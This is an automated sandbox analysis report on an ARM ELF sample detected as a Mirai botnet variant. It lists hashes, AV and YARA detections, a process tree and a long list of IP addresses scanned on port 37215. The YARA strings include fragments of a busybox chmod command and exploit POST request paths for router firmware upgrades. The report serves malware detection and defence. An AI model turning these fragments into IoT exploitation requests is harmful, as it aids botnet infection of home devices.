Edit tour

Linux Analysis Report
arm.elf

Overview

General Information

Sample name:	arm.elf
Analysis ID:	1567758
MD5:	bc6579db06dbba223f77dbe9d6942853
SHA1:	b9088dd8560065eefa21c3a4ea64dcfacbadde70
SHA256:	25ec5bc3a50e86e3b8ad21c36f439087735987097560851fdeafe19b0eeb382f
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	96
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Mirai

Connects to many ports of the same IP (likely port scanning)

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Tries to resolve domain names, but no domain seems valid (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1567758
Start date and time:	2024-12-03 21:01:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	arm.elf
Detection:	MAL
Classification:	mal96.troj.linELF@0/0@82/0

Warnings

HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: arm.elf

Runtime Messages

Command:	/tmp/arm.elf
PID:	6259
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	unstable_is_the_history_of_universe
Standard Error:

Process Tree

system is lnxubuntu20

arm.elf (PID: 6259, Parent: 6181, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/arm.elf

arm.elf New Fork (PID: 6261, Parent: 6259)

arm.elf New Fork (PID: 6263, Parent: 6261)

arm.elf New Fork (PID: 6265, Parent: 6261)

arm.elf New Fork (PID: 6266, Parent: 6261)

arm.elf New Fork (PID: 6269, Parent: 6261)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
arm.elf	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
arm.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
arm.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
arm.elf	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0xfd96:$x2: /bin/busybox chmod 777 * /tmp/ 0xfaec:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0xfa74:$s3: POST /cdn-cgi/
arm.elf	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0xfa74:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A

Memory Dumps

Source	Rule	Description	Author	Strings
6259.1.00007f3018017000.00007f3018028000.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
6259.1.00007f3018017000.00007f3018028000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6259.1.00007f3018017000.00007f3018028000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6259.1.00007f3018017000.00007f3018028000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0xfd96:$x2: /bin/busybox chmod 777 * /tmp/ 0xfaec:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0xfa74:$s3: POST /cdn-cgi/
6259.1.00007f3018017000.00007f3018028000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0xfa74:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
6263.1.00007f3018017000.00007f3018028000.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
6263.1.00007f3018017000.00007f3018028000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6263.1.00007f3018017000.00007f3018028000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6263.1.00007f3018017000.00007f3018028000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_1	Detects ELF Mirai variant	Florian Roth	0xfd96:$x2: /bin/busybox chmod 777 * /tmp/ 0xfaec:$s1: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 0xfa74:$s3: POST /cdn-cgi/
6263.1.00007f3018017000.00007f3018028000.r-x.sdmp	MAL_ELF_LNX_Mirai_Oct10_2	Detects ELF malware Mirai related	Florian Roth	0xfa74:$c01: 50 4F 53 54 20 2F 63 64 6E 2D 63 67 69 2F 00 00 20 48 54 54 50 2F 31 2E 31 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 00 0D 0A 48 6F 73 74 3A
Process Memory Space: arm.elf PID: 6259	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Process Memory Space: arm.elf PID: 6263	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Click to see the 7 entries

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: arm.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: arm.elf

ReversingLabs: Detection: 68%

Networking

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 156.150.24.50 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.74.134.31 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.239.240.180 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.191.174.31 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.131.31.171 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.101.110.234 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.22.5.43 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.163.186.216 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.79.167.96 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.85.11.201 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.79.223.198 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.156.74.37 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.216.255.214 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.183.215.232 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.14.19.122 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.60.38.42 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.73.179.90 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.10.172.82 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.99.188.212 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.104.32.101 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.250.208.161 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.98.145.142 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.215.107.158 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.9.200.161 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.52.168.146 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.201.247.147 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.204.13.44 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.61.20.145 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.248.247.65 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.24.238.199 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.190.7.177 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.43.65.250 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.174.217.82 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.81.80.173 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.236.47.248 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.66.150.240 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.200.38.243 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.40.142.186 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.209.59.201 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.97.6.247 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.191.248.1 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.167.89.17 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.176.131.71 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.90.61.140 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.74.129.70 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.147.56.229 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.152.129.144 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.186.94.28 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.78.209.223 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.94.148.57 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.67.153.98 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.218.232.230 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.160.19.83 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.201.206.190 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.186.18.154 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.35.193.241 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.60.27.155 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.131.254.178 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.94.34.1 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.234.105.226 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.219.78.112 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.68.209.164 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.151.73.118 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.231.219.195 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.148.166.116 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.179.225.24 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.3.219.47 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.54.61.97 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.148.214.137 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.165.98.50 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.101.10.5 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.15.102.75 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.159.76.149 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.99.156.24 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.91.137.165 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.203.128.137 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.0.84.65 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.177.70.27 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.130.102.45 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.80.54.240 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.39.14.144 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.228.193.214 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.80.202.0 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.65.240.191 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.235.236.144 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.162.249.113 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.168.149.244 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.40.65.199 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.10.149.92 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.140.130.35 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.122.254.107 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.31.74.230 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.212.130.33 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.194.183.44 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.25.200.69 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.248.34.42 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.3.137.106 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.215.13.169 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.88.63.147 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.199.209.201 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.98.112.69 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.167.61.155 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.254.209.99 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.145.250.196 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.228.56.79 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.228.28.84 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.127.103.203 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.88.88.201 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.186.82.187 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.97.90.33 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.225.45.13 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.95.117.170 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.151.109.237 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.104.22.214 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.219.20.71 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.4.139.216 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.128.247.31 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.113.232.61 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.184.59.107 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.0.130.106 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.59.122.19 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.1.138.43 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.232.32.217 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.177.254.156 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.208.58.123 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.81.28.203 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.196.221.226 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.33.160.64 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.125.251.86 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.197.157.219 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.11.59.217 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.155.82.47 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.150.61.63 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.105.120.110 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.153.239.233 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.204.59.75 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.242.198.38 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.151.210.239 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.88.24.136 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.111.183.53 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.133.146.239 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.247.105.61 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.39.211.7 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.187.182.102 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.172.242.164 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.163.69.120 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.15.147.44 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.114.125.191 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.155.215.143 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.159.119.52 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.14.203.23 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.231.110.239 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.31.198.241 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.223.112.45 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.106.177.76 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.41.209.126 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.98.103.104 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.197.240.133 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.137.243.1 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.12.194.196 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.77.223.144 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.100.207.195 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.138.252.241 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.249.195.225 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.204.102.219 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.189.23.1 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.23.110.130 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.133.145.150 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.92.208.243 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.144.165.16 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.246.94.30 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.162.78.28 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.152.220.149 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.236.49.79 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.140.172.77 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.201.18.134 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.116.150.65 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.139.88.16 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.169.49.51 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.21.124.28 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.173.165.250 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.250.82.30 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.111.125.133 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.14.26.66 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.195.47.214 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.158.81.3 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.134.242.167 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.163.84.65 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.62.17.28 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.191.221.74 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.19.81.141 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.31.249.135 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.154.226.78 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.209.170.70 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.43.116.184 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.220.241.215 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.89.51.233 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.23.94.228 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.111.98.194 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.46.54.152 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.99.125.42 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.193.85.133 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.61.143.6 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.197.163.55 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.78.106.211 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.144.114.11 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.32.142.125 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.180.2.10 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.23.87.182 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.92.7.35 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.66.107.103 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.100.126.108 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.117.141.152 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.31.33.239 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.113.220.179 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.253.241.139 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.198.224.189 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.199.225.143 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.189.108.220 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.246.89.105 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.88.77.19 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.9.227.182 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.56.27.106 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.144.208.50 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.9.129.211 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.160.83.65 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.174.6.214 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.112.11.96 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.80.133.242 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.78.67.166 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.179.136.113 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.60.66.93 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.143.220.253 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.189.244.85 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.218.22.233 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.42.21.114 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.251.127.68 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.189.101.232 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.126.210.144 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.56.61.88 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.165.199.47 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.193.43.221 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.2.232.93 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.143.240.194 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.191.170.35 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.174.210.245 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.5.46.217 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.191.124.181 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.148.90.138 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.196.4.86 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.51.25.88 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.159.241.145 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.186.156.218 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.93.202.248 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.157.16.24 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.161.65.89 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.170.135.248 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.167.226.134 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.74.171.213 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.195.52.21 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.238.250.210 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.63.209.124 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.220.60.13 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.31.202.253 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.120.95.111 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.171.132.207 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.177.210.169 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.106.106.31 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.159.246.98 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.130.14.222 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.121.160.3 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.149.254.232 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.78.63.44 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.99.129.23 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.22.26.216 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.199.105.73 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.111.15.10 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.193.17.200 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.79.212.120 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.99.62.148 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.37.221.218 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.167.202.183 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.26.70.241 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.173.192.247 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.144.18.167 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.31.110.91 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.116.133.192 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.181.157.225 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.32.155.9 ports 1,2,3,5,7,37215
